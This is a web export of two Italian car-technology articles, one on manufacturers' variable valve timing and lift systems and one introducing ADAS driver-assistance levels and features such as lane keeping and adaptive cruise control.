<figure class="wp-block-image size-large"><img decoding="async" width="512" height="288" src="https://www.giornalemotori.com/wp-content/uploads//2021/01/unnamed-2jpg-1.jpg" alt="unnamed 2jpg 1" class="wp-image-102057" title="Le tecnologie del Motore endotermico: La variazione di fase 401" srcset="https://www.giornalemotori.com/wp-content/uploads/2021/01/unnamed-2jpg-1.jpg 512w, https://www.giornalemotori.com/wp-content/uploads/2021/01/unnamed-2jpg-1-300x169.jpg 300w" sizes="(max-width: 512px) 100vw, 512px" /><figcaption>Le tecnologie del Motore endotermico: La variazione di fase 418</figcaption></figure>



<p class="wp-block-paragraph">Un elemento fissato sulla puleggia dell&#8217;albero a camme viene comandato dalla distribuzione scorrendo su un profilo a millerighe.  Una scalanatura elicoidale gli permette di ruotare mentre varia la sua posizione. Di conseguenza,  anche l&#8217;albero a camme ad esso collegato cambia il suo angolo cambiando la posizione della camma e l&#8217;alzata della valvola di aspirazione. </p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/01/unnamed3.png" alt="unnamed3" class="wp-image-102037" width="483" height="489" title="Le tecnologie del Motore endotermico: La variazione di fase 402" srcset="https://www.giornalemotori.com/wp-content/uploads/2021/01/unnamed3.png 506w, https://www.giornalemotori.com/wp-content/uploads/2021/01/unnamed3-300x304.png 300w" sizes="(max-width: 483px) 100vw, 483px" /><figcaption>Le tecnologie del Motore endotermico: La variazione di fase 419</figcaption></figure>



<p class="wp-block-paragraph">Successivamente si è passati ad un azionamento elettroidraulico del modulo di comando variando la pressione dell&#8217;olio attraverso una elettrovalvola. L’ultima evoluzione ha visto l&#8217;utilizzo di un motorino elettrico per il controllo della pressione dell’olio assicurando una maggiore precisione. La variazione dell’angolo della albero a camme può avvenire anche a regimi diversi in modo continuo con conseguente migliore controllo della fasatura. </p>



<p class="wp-block-paragraph">Oggi la quasi totalità dei motori di tutti i costruttori utilizza un variatore di fase abbinato anche a condotti di aspirazione a geometria variabile. Infine è diventato una parte importante dei sistemi di controllo dell&#8217;alzata variabile delle valvole senza l&#8217;utilizzo della valvola a farfalla. </p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/01/Q70674836_g.jpg" alt="Q70674836 g" class="wp-image-102054" width="498" height="304" title="Le tecnologie del Motore endotermico: La variazione di fase 403" srcset="https://www.giornalemotori.com/wp-content/uploads/2021/01/Q70674836_g.jpg 717w, https://www.giornalemotori.com/wp-content/uploads/2021/01/Q70674836_g-300x183.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2021/01/Q70674836_g-696x425.jpg 696w" sizes="(max-width: 498px) 100vw, 498px" /><figcaption>Le tecnologie del Motore endotermico: La variazione di fase 420</figcaption></figure>



<p class="wp-block-paragraph"><strong>Toyota VVT-I </strong></p>



<p class="wp-block-paragraph">Variable Valve Timing è molto simile al sistema  Alfa Romeo.  Un comando idraulico a controllo elettronico permette la variazione fino a&nbsp; 60° dell&#8217;albero a camme attraverso un sistema ad elica. </p>



<p class="wp-block-paragraph">Viene utilizzato sia per l&#8217;aspirazione che per lo scarico che rimane ad azionamento idraulico. La gestione elettronica consente un controllo più preciso dell&#8217;alzata delle valvole di aspirazione migliorando la fase di riempimento della miscela migliorando il rapporto consumi/prestazioni.&nbsp; </p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/01/6AR_vvt-types.png" alt="6AR vvt types" class="wp-image-102055" width="502" height="269" title="Le tecnologie del Motore endotermico: La variazione di fase 404" srcset="https://www.giornalemotori.com/wp-content/uploads/2021/01/6AR_vvt-types.png 600w, https://www.giornalemotori.com/wp-content/uploads/2021/01/6AR_vvt-types-300x161.png 300w" sizes="(max-width: 502px) 100vw, 502px" /><figcaption>Le tecnologie del Motore endotermico: La variazione di fase 421</figcaption></figure>



<p class="wp-block-paragraph">Il VVT-I può anticipare e ritardare la fasatura dell&#8217;albero a camme sfruttando la diversa rotazione del motore elettrico rispetto all&#8217;albero a camme collegato alla rotazione dell&#8217;albero motore.  </p>



<p class="wp-block-paragraph"><strong>L’Honda VTEC</strong>&nbsp;</p>



<p class="wp-block-paragraph"> E&#8217; un sistema che dispone di due profili delle camme distinti. Uno è utilizzato per i regimi bassi e uno per quelli più alti. Quando viene superato un determinato regime, un solenoide apre una valvola che spinge un perno permettendo ai due bilancieri di essere solidali tra loro.</p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/01/VTEC-Sys-1024x776.jpg" alt="VTEC Sys" class="wp-image-102043" width="509" height="386" title="Le tecnologie del Motore endotermico: La variazione di fase 405"><figcaption>Le tecnologie del Motore endotermico: La variazione di fase 422</figcaption></figure>



<p class="wp-block-paragraph"> In questa condizione un terzo profilo,  più spinto, agisce sulle valvole aumentando l&#8217;alzata permettendo un aumento di potenza. Diversamente, quando è in azione il profilo meno performante si determina un miglioramento dell’erogazione a bassi e medi regimi. </p>



<p class="wp-block-paragraph">Questo sistema ha consentito ad Honda di sfruttate un ampiezza di giri che consente di arrivare a 9000 giri/minuto con una curva di coppia molto lineare.  Nel corso degli anni il sistema si è evoluto in VTEC-E. Le camme per l’azionamento delle valvole ai bassi regimi assumevano un diverso angolo tra loro. </p>



<figure class="wp-block-image size-large"><img decoding="async" width="576" height="202" src="https://www.giornalemotori.com/wp-content/uploads//2021/01/3-stageVTEC.jpg" alt="3 stageVTEC" class="wp-image-102044" title="Le tecnologie del Motore endotermico: La variazione di fase 406" srcset="https://www.giornalemotori.com/wp-content/uploads/2021/01/3-stageVTEC.jpg 576w, https://www.giornalemotori.com/wp-content/uploads/2021/01/3-stageVTEC-300x105.jpg 300w" sizes="(max-width: 576px) 100vw, 576px" /><figcaption>Le tecnologie del Motore endotermico: La variazione di fase 423</figcaption></figure>



<p class="wp-block-paragraph">In questo modo si ottiene una diversa apertura a parità di angolo dell&#8217;albero a camme che genera una turbolenza in ingesso della miscela che migliorava la combustione.  Ai regimi intermedi il VTEC-E continua a funzionare con le classiche due logiche di funzionamento del VTEC tradizionale migliorando i consumi a carchi parziali e l&#8217;allungo agli alti regimi. </p>



<p class="wp-block-paragraph">Abbinando anche la rotazione dell’albero come nei variatori di fase classici, consente di usare miscele più magre del classico rapporto stechiometrico. </p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/01/smart-mivec_im_03.gif" alt="smart mivec im 03" class="wp-image-102045" width="528" height="275" title="Le tecnologie del Motore endotermico: La variazione di fase 407"><figcaption>Le tecnologie del Motore endotermico: La variazione di fase 424</figcaption></figure>



<p class="wp-block-paragraph"> <strong>Mitsubishi MIVEC</strong> </p>



<p class="wp-block-paragraph">Diversamente da Honda Il profilo della camma è unico ed aziona un bilanciere che agisce cambiando la posizione sulle punterie. A bassi regimi le camme hanno un azione diretta sul bilanciere. All’aumentare dei giri un leveraggio mosso attraverso un attuatore elettroidraulico si interpone tra la camma ed il bilanciere cambiando l&#8217;alzata della valvola&nbsp;variando la fasatura. </p>



<p class="wp-block-paragraph">La gestione elettronica consente al MIVEC di essere usato sia per le alte prestazioni che per abbassare i consumi utilizzando logiche di alzata variabile. </p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="426" src="https://www.giornalemotori.com/wp-content/uploads//2021/01/ToyotaPriusCicloAtkinson-1024x426.jpg" alt="ToyotaPriusCicloAtkinson" class="wp-image-102046" title="Le tecnologie del Motore endotermico: La variazione di fase 408" srcset="https://www.giornalemotori.com/wp-content/uploads/2021/01/ToyotaPriusCicloAtkinson-1024x426.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2021/01/ToyotaPriusCicloAtkinson-768x320.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2021/01/ToyotaPriusCicloAtkinson-300x125.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2021/01/ToyotaPriusCicloAtkinson-696x290.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2021/01/ToyotaPriusCicloAtkinson.jpg 1136w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Le tecnologie del Motore endotermico: La variazione di fase 425</figcaption></figure>



<p class="wp-block-paragraph"><strong>Perfetto per il ciclo Atkinson -Miller </strong></p>



<p class="wp-block-paragraph">I sistemi Toyota VVT-I, Honda i-VTEC e Mitsubishi MIVEC , sfruttano la gestione dell&#8217;alzata delle valvole di aspirazione per consentire la chiusura posticipata della stessa. In questo caso il rapporto di compressione diventa variabile applicando il ciclo Atkinson. Tutti i propulsori giapponesi che utilizzano tale ciclo i combustione vengono abbinati ai sistemi ibridi. </p>



<p class="wp-block-paragraph">Nel caso del Gruppo Volkswagen si usa il ciclo Miller. Per ottenere il movimento variabile delle valvole per gestire il rapporto di compressione attraverso il sistema Audi Valvelift. Un sistema complesso che prevede un manicotto con doppio profilo di camma che so sposta sull&#8217;albero a camme a seconda della necessità dettata dal controllo elettronico. </p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/01/A170891_full-1024x703.jpg" alt="A170891 full" class="wp-image-102047" width="517" height="356" title="Le tecnologie del Motore endotermico: La variazione di fase 409" srcset="https://www.giornalemotori.com/wp-content/uploads/2021/01/A170891_full-1024x703.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2021/01/A170891_full-768x527.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2021/01/A170891_full-300x206.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2021/01/A170891_full-696x478.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2021/01/A170891_full.jpg 1136w" sizes="(max-width: 517px) 100vw, 517px" /><figcaption>Le tecnologie del Motore endotermico: La variazione di fase 426</figcaption></figure>



<p class="wp-block-paragraph"><strong>Porsche Vario Cam, e Vario Cam Plus</strong>.</p>



<p class="wp-block-paragraph">Varia la tensione della catena di distribuzione per far scorrere il  modulo cambiando l’angolo dell’albero a camme. Il Vario Cam Plus aggiunge anche due diversi profili delle camme che agiscono sulle punterie. Inoltre, all&#8217;interno delle punterie avviene una variazione di pressione idraulica dell’olio che produce un&#8217;alzata variabile delle valvole.</p>



<p class="wp-block-paragraph"> <strong>BMW Doppio VANOS e Valvetronic</strong> </p>



<p class="wp-block-paragraph">Il primo consente la rotazione dell’albero a camme in tre diverse posizioni a seconda del numero di giri. Il Doppio VANOS consente una rotazione continuativa tenendo conto anche della posizione dell’acceleratore. Il sistema agisce, come sul Vario Cam Porsche,  sulla tensione della catena attraverso un pistoncino idraulico comandato elettronicamente. </p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/01/Doppio-Vanos.jpg" alt="Doppio Vanos" class="wp-image-102048" width="532" height="299" title="Le tecnologie del Motore endotermico: La variazione di fase 410" srcset="https://www.giornalemotori.com/wp-content/uploads/2021/01/Doppio-Vanos.jpg 600w, https://www.giornalemotori.com/wp-content/uploads/2021/01/Doppio-Vanos-300x169.jpg 300w" sizes="(max-width: 532px) 100vw, 532px" /><figcaption>Le tecnologie del Motore endotermico: La variazione di fase 427</figcaption></figure>



<p class="wp-block-paragraph">Il Valetronic è uno dei primi sistemi di controllo continuo dell’alzata delle valvole. Un comando elettromeccanico consente di variare l’alzata delle valvole indipendentemente dalla posizione dell’albero a camme.</p>



<p class="wp-block-paragraph">Un motorino elettrico muove una vite senza fine su cui viene calettato un ingranaggio eccentrico. Al ruotare di quest’ultimo si produce lo spostamento della posizione del bilanciere sulla punteria variando l&#8217;alzata della valvola in modo continuo. </p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="427" src="https://www.giornalemotori.com/wp-content/uploads//2021/01/photo-3-copy.png" alt="photo 3 copy" class="wp-image-102049" title="Le tecnologie del Motore endotermico: La variazione di fase 411" srcset="https://www.giornalemotori.com/wp-content/uploads/2021/01/photo-3-copy.png 800w, https://www.giornalemotori.com/wp-content/uploads/2021/01/photo-3-copy-768x410.png 768w, https://www.giornalemotori.com/wp-content/uploads/2021/01/photo-3-copy-300x160.png 300w, https://www.giornalemotori.com/wp-content/uploads/2021/01/photo-3-copy-696x371.png 696w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption>Le tecnologie del Motore endotermico: La variazione di fase 428</figcaption></figure>



<p class="wp-block-paragraph">Il vantaggio di tale sistema sistema è quella di poter fare a meno della presenza della valvola a farfalla per regolare l&#8217;afflusso d&#8217;aria all&#8217;aspirazione. In questo modo si riducono le perdita di carico dovute alla fluidodinamica dell&#8217;aria aspirata dal motore.</p>



<p class="wp-block-paragraph"><strong>FIAT Multiair. </strong></p>



<p class="wp-block-paragraph"> La punteria è costituita da due elementi rigidi collegati tramite un pompante contenente olio dotato di una valvola controllata da un sistema elettronico indipendente.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="300" height="230" src="https://www.giornalemotori.com/wp-content/uploads//2021/01/fiat-multiair-valve-lift-system.jpg" alt="fiat multiair valve lift system" class="wp-image-102050" title="Le tecnologie del Motore endotermico: La variazione di fase 412"><figcaption>Le tecnologie del Motore endotermico: La variazione di fase 429</figcaption></figure>



<p class="wp-block-paragraph">A seconda dell’apertura o chiusura della valvola,  l’olio permette un determinato movimento alla punteria. Una molla di richiamo ne consente la sua chiusura seguendo il  profilo della camma. </p>



<p class="wp-block-paragraph">A seconda della posizione dell’acceleratore,  la valvola apre cambiando la pressione dell’olio nella punteria che varia l’apertura della valvola di aspirazione. Ai massimi carichi la valvola di controllo si richiuderà permettendo di utilizzare il profilo rimanente della camma. In ogni caso non si riesce a riguadagnare la corsa originale per via della già avvenuta fuoriuscita dell&#8217;olio che ha già variato parte dell’alzata.</p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/01/download.jpg" alt="download" class="wp-image-102051" width="386" height="259" title="Le tecnologie del Motore endotermico: La variazione di fase 413"><figcaption>Le tecnologie del Motore endotermico: La variazione di fase 430</figcaption></figure>



<p class="wp-block-paragraph">I tecnici FIAT hanno ottenuto in modo semplice ed economico il controllo completo dell’alzata della valvole. Si può intervenire sia su quelle di aspirazione che cosa molto importante anche allo scarico eliminando la valvola a farfalla. </p>



<p class="wp-block-paragraph"><strong>Soluzioni di altri costruttor</strong>i</p>



<p class="wp-block-paragraph">Mazda S-VL si differenzia per la rotazione dell’angolo dell’albero a camme ottenuta attraverso un diverso sistema di gestione della pressione idraulica per muovere il meccanismo che ruota l’albero.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="512" height="307" src="https://www.giornalemotori.com/wp-content/uploads//2021/01/unnamed-7jpg.jpg" alt="unnamed 7jpg" class="wp-image-102052" title="Le tecnologie del Motore endotermico: La variazione di fase 414" srcset="https://www.giornalemotori.com/wp-content/uploads/2021/01/unnamed-7jpg.jpg 512w, https://www.giornalemotori.com/wp-content/uploads/2021/01/unnamed-7jpg-300x180.jpg 300w" sizes="(max-width: 512px) 100vw, 512px" /><figcaption>Le tecnologie del Motore endotermico: La variazione di fase 431</figcaption></figure>



<p class="wp-block-paragraph">Nissan VVL e Subaru AVLS usano entrambi sistemi simili al sistema VTEC Honda. In particolare Nissan è stata una delle prime ad utilizzarlo anche per lo scarico, variando i giri in cui interviene differenziando rispetto all&#8217;aspirazione. </p>



<p class="wp-block-paragraph"><strong>L&#8217;aiuto dei produttori di componenti.</strong> </p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="576" src="https://www.giornalemotori.com/wp-content/uploads//2021/01/maxresdefault-1024x576.jpg" alt="maxresdefault" class="wp-image-102053" title="Le tecnologie del Motore endotermico: La variazione di fase 415" srcset="https://www.giornalemotori.com/wp-content/uploads/2021/01/maxresdefault-1024x576.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2021/01/maxresdefault-768x432.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2021/01/maxresdefault-300x169.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2021/01/maxresdefault-696x392.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2021/01/maxresdefault.jpg 1136w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Le tecnologie del Motore endotermico: La variazione di fase 432</figcaption></figure>



<p class="wp-block-paragraph">La BorgWarner ha sviluppato sistemi per la fasatura variabile che hanno dalla loro la forza di essere versatili ed adattabili ad ogni produttore. L&#8217;azionamento è simile al sistema di BMW e Porsche agendo sulla tensione della catena. Questo lo rende semplice e versatile. In più si possono sviluppare sistemi di controllo continuo dell&#8217;alzata delle valvole in funzione della necessità dei singoli produttori limitando costi di progettazione. </p>



<p class="wp-block-paragraph"><strong>Daniele Amore</strong> </p>



<p class="wp-block-paragraph"></p>
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		<title>ADAS: Parte prima,  principi e funzionamento</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sun, 20 Dec 2020 15:55:08 +0000</pubDate>
				<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>ADAS, ovvero Advanced driver-assistance systems che ulteriormente tradotto in italiano significa sistemi avanzati di assistenza alla guida Sono sistemi elettronici che hanno il compito di assistere il conducente e sono presenti ormai su tutte le vetture di nuova immatricolazione. Il motivo della loro diffusione anche su automobili di fascia bassa del mercato è dovuta al [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph"><strong>ADAS, ovvero Advanced driver-assistance systems che ulteriormente tradotto in italiano significa sistemi avanzati di assistenza alla guida</strong></p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="581" src="https://www.giornalemotori.com/wp-content/uploads//2020/12/ADAS-1030x584-1-1024x581.jpg" alt="ADAS 1030x584 1" class="wp-image-100561" title="ADAS: Parte prima, principi e funzionamento 433" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/12/ADAS-1030x584-1-1024x581.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/12/ADAS-1030x584-1-768x435.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/12/ADAS-1030x584-1-300x170.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/12/ADAS-1030x584-1-696x395.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2020/12/ADAS-1030x584-1.jpg 1030w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>ADAS: Parte prima, principi e funzionamento 449</figcaption></figure>



<p class="wp-block-paragraph">Sono sistemi elettronici che hanno il compito di assistere il conducente e sono presenti ormai su tutte le vetture di nuova immatricolazione. </p>



<p class="wp-block-paragraph">Il motivo della loro diffusione anche su automobili di fascia bassa del mercato è dovuta al fatto che hanno una reale valenza sulla sicurezza complessiva del veicolo. Inoltre, i costruttori riescono ad ottenere una migliore valutazione in termini di efficacia e stelle ottenute nelle prove Euro NCAP proprio grazie alla presenza di questi sistemi. </p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="512" src="https://www.giornalemotori.com/wp-content/uploads//2020/12/automated-cars-1-1024x512.png" alt="automated cars 1" class="wp-image-100562" title="ADAS: Parte prima, principi e funzionamento 434" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/12/automated-cars-1-1024x512.png 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/12/automated-cars-1-768x384.png 768w, https://www.giornalemotori.com/wp-content/uploads/2020/12/automated-cars-1-300x150.png 300w, https://www.giornalemotori.com/wp-content/uploads/2020/12/automated-cars-1-696x348.png 696w, https://www.giornalemotori.com/wp-content/uploads/2020/12/automated-cars-1.png 1280w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>ADAS: Parte prima, principi e funzionamento 450</figcaption></figure>



<p class="wp-block-paragraph">Del resto, l&#8217;<strong>ABS ed ESP</strong> per il controllo del bloccaggio dei freni e della stabilità del veicolo sono sistemi ADAS a tutti gli effetti e sono presenti su tutte le auto ad ogni livello. </p>



<p class="wp-block-paragraph">Gli ADAS utilizzano strumenti come <strong>telecamere, radar,  LIDAR</strong>, che sfrutta un fascio laser da media distanza, ed infine i <strong>sensori ad ultrasuoni</strong> disposti lungo la carrozzeria dell&#8217;auto. </p>



<figure class="wp-block-image size-large"><img decoding="async" width="570" height="600" src="https://www.giornalemotori.com/wp-content/uploads//2020/12/18119-ford-ritarda-guida-autonoma-senza-pedali-e-volante2.jpg" alt="18119 ford ritarda guida autonoma senza pedali e volante2" class="wp-image-100563" title="ADAS: Parte prima, principi e funzionamento 435" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/12/18119-ford-ritarda-guida-autonoma-senza-pedali-e-volante2.jpg 570w, https://www.giornalemotori.com/wp-content/uploads/2020/12/18119-ford-ritarda-guida-autonoma-senza-pedali-e-volante2-300x316.jpg 300w" sizes="(max-width: 570px) 100vw, 570px" /><figcaption>ADAS: Parte prima, principi e funzionamento 451</figcaption></figure>



<p class="wp-block-paragraph">La classificazione avviene sei livelli dal <strong> livello 0 fino al livello 5.</strong> l’ADAS di primo livello, lo zero, viene detto anche <strong>passivo</strong>, cioè non può controllare l&#8217;auto ma fornisce solo informazioni visive ed acustiche. </p>



<p class="wp-block-paragraph">Al livello 1 diventano <strong>attivi </strong>agendo in modo limitato i controlli dell&#8217;auto integrando il segnale acustico e visivo.  Al  livello 2 assume il controllo in modo attivo di alcuni comandi come freni, sterzo ed acceleratore. Dal livello 3 al 5, aumenta sempre di più la quantità di controllo del sistema arrivando ad integrarsi con l&#8217;interfaccia multimediale per poi giungere alla guida totalmente autonoma. </p>



<p class="wp-block-paragraph">Sui veicoli di ultima generazione si possono trovare facilmente anche ADAS di livello 3 o di livello 4 come il parcheggio automatico.  Il loro uso e la loro funzionalità è comunque vincolata alla responsabilità del conducente non esistendo ancora una norma per il loro utilizzo ai fini assicurativi. </p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="450" src="https://www.giornalemotori.com/wp-content/uploads//2020/12/23571-gli-adas-sviluppati-dal-colosso-coreano-lg-1.jpg" alt="23571 gli adas sviluppati dal colosso coreano lg 1" class="wp-image-100566" title="ADAS: Parte prima, principi e funzionamento 436" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/12/23571-gli-adas-sviluppati-dal-colosso-coreano-lg-1.jpg 800w, https://www.giornalemotori.com/wp-content/uploads/2020/12/23571-gli-adas-sviluppati-dal-colosso-coreano-lg-1-768x432.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/12/23571-gli-adas-sviluppati-dal-colosso-coreano-lg-1-300x169.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/12/23571-gli-adas-sviluppati-dal-colosso-coreano-lg-1-696x392.jpg 696w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption>ADAS: Parte prima, principi e funzionamento 452</figcaption></figure>



<p class="wp-block-paragraph">Tutti i grandi costruttori e produttori di componentistica stanno adottando una nomenclatura comune per consentire al cliente di capire fin dal primo momento ciò che è presente sull&#8217;auto ed il suo funzionamento. </p>



<p class="wp-block-paragraph">In questa prima parte, faremo una panoramica sui sistemi che vanno dal livello zero al livello due, essendo diffusi su tutte le auto di nuova immatricolazione anche quelle di fascia bassa del mercato </p>



<p class="wp-block-paragraph">Tre in particolare, a nostro avviso,  sono fondamentali. Quindi meglio prestare attenzione alla lista accessori di serie e quella degli optional. Il primo è il Il <strong>mantenimento della corsia di marcia</strong>. Il secondo è il <strong>cruise control adattivo,</strong>  il terzo è il <strong>sistema anticollisione</strong></p>



<figure class="wp-block-image size-large"><img decoding="async" width="342" height="395" src="https://www.giornalemotori.com/wp-content/uploads//2020/12/adas-options.png" alt="adas options" class="wp-image-100568" title="ADAS: Parte prima, principi e funzionamento 437" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/12/adas-options.png 342w, https://www.giornalemotori.com/wp-content/uploads/2020/12/adas-options-300x346.png 300w" sizes="(max-width: 342px) 100vw, 342px" /><figcaption>ADAS: Parte prima, principi e funzionamento 453</figcaption></figure>



<p class="wp-block-paragraph"><strong>Mantenimento di corsia </strong></p>



<p class="wp-block-paragraph">Funziona su tre livelli di intervento ed è bene sapere fin da subito di che tipo è quello montato sulla vostra vettura scelta e nel caso integrarlo se possibile con gli altri due.</p>



<p class="wp-block-paragraph"><strong>LDW</strong>, lane departure warning. Di livello 0, avvisa il conducente quando cambia corsia senza utilizzare gli indicatori con un’allarme acustico o visivo.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="576" src="https://www.giornalemotori.com/wp-content/uploads//2020/12/copertina-lane-keep-assist-che-cose-e-a-chi-conviene-1024x576.jpg" alt="copertina lane keep assist che cose e a chi conviene" class="wp-image-100569" title="ADAS: Parte prima, principi e funzionamento 438" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/12/copertina-lane-keep-assist-che-cose-e-a-chi-conviene-1024x576.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/12/copertina-lane-keep-assist-che-cose-e-a-chi-conviene-768x432.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/12/copertina-lane-keep-assist-che-cose-e-a-chi-conviene-300x169.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/12/copertina-lane-keep-assist-che-cose-e-a-chi-conviene-696x392.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2020/12/copertina-lane-keep-assist-che-cose-e-a-chi-conviene.jpg 1136w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>ADAS: Parte prima, principi e funzionamento 454</figcaption></figure>



<p class="wp-block-paragraph"><strong>LKA/LKS,</strong> lane keeping assist. Di livello 1. Grazie alla presenza di telecamere e radar agisce sul centraggio della corsia controllando lo sterzo quando ci si avvicina ai limiti della stessa.</p>



<p class="wp-block-paragraph"><strong>LCA;</strong> Lane Centering Assist. Sempre di livello 1, agisce sullo sterzo anche un curva tenendo sempre il centro della corsia. </p>



<figure class="wp-block-image size-large"><img decoding="async" width="690" height="408" src="https://www.giornalemotori.com/wp-content/uploads//2020/12/8-Figure2-1.png" alt="8 Figure2 1" class="wp-image-100570" title="ADAS: Parte prima, principi e funzionamento 439" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/12/8-Figure2-1.png 690w, https://www.giornalemotori.com/wp-content/uploads/2020/12/8-Figure2-1-300x177.png 300w" sizes="(max-width: 690px) 100vw, 690px" /><figcaption>ADAS: Parte prima, principi e funzionamento 455</figcaption></figure>



<p class="wp-block-paragraph"><strong>Il cruise control Adattivo (ACC)</strong></p>



<p class="wp-block-paragraph"><strong>Cruise Control:</strong> Permette il controllo della velocità di crociera predeterminata dal conducente. La livello 0 l&#8217;auto manterrà la velocità impostata dal guidatore finché il guidatore non preme il pedale del freno, il pedale della frizione o disinnesta il sistema.</p>



<p class="wp-block-paragraph">Al livello 1 diventa <strong>adattivo</strong>. La vettura attraverso l’uso di telecamere e radar può accelerare o decelerare, in base alla distanza determinata dal conducente agendo sul regolatore che aumenta o diminuisce le barrette sul quadro strumenti. Anche in questo caso si disattiva utilizzando i pedali. </p>



<figure class="wp-block-image size-large"><img decoding="async" width="768" height="432" src="https://www.giornalemotori.com/wp-content/uploads//2020/12/stage_stauassisent_stage_mobile.jpg" alt="stage stauassisent stage mobile" class="wp-image-100571" title="ADAS: Parte prima, principi e funzionamento 440" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/12/stage_stauassisent_stage_mobile.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/12/stage_stauassisent_stage_mobile-300x169.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/12/stage_stauassisent_stage_mobile-696x392.jpg 696w" sizes="(max-width: 768px) 100vw, 768px" /><figcaption>ADAS: Parte prima, principi e funzionamento 456</figcaption></figure>



<p class="wp-block-paragraph"><strong>Traffic Jam Assist</strong> e <strong>Riconoscimento dei segnali stradali:</strong>  Quando il  Cruise control Adattivo si abbina anche a questi due sistemi si evolve al livello 3. Il veicolo si aggancia alla velocità della vettura che precede fino all&#8217;arresto completo ed alla ripartenza in automatico nelle condizioni di marcia variabile come il traffico intenso. Inoltre,  una volta riconosciuto il segnale di velocità adegua in automatico il suo intervento. </p>



<p class="wp-block-paragraph"><strong>Frenata automatica di emergenza:</strong></p>



<p class="wp-block-paragraph"><strong>BAS</strong>, <em>Brake Assistant System</em> o <strong>HBA</strong>, <em>Hydraulic Brake Assist</em>. Di livello 0 rileva la necessita di una frenata di emergenza da parte del conducente dando la massima pressione al pedale del freno quando questa manca per evitare l&#8217;impatto. </p>



<figure class="wp-block-image size-large"><img decoding="async" width="720" height="280" src="https://www.giornalemotori.com/wp-content/uploads//2020/12/sft_15_02.jpg" alt="sft 15 02" class="wp-image-100572" title="ADAS: Parte prima, principi e funzionamento 441" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/12/sft_15_02.jpg 720w, https://www.giornalemotori.com/wp-content/uploads/2020/12/sft_15_02-300x117.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/12/sft_15_02-696x271.jpg 696w" sizes="(max-width: 720px) 100vw, 720px" /><figcaption>ADAS: Parte prima, principi e funzionamento 457</figcaption></figure>



<p class="wp-block-paragraph"><strong>Anticollisione:</strong> Di livello 1, rileva una potenziale situazione di pericolo attraverso sensori e radar, agendo sull&#8217;impianto frenante quando ci si avvicina rapidamente all&#8217;ostacolo. Il sistema agisce anche sui sistemi di bordo come il pretensionatore delle cinture di sicurezza per mitigare un eventuale impatto. </p>



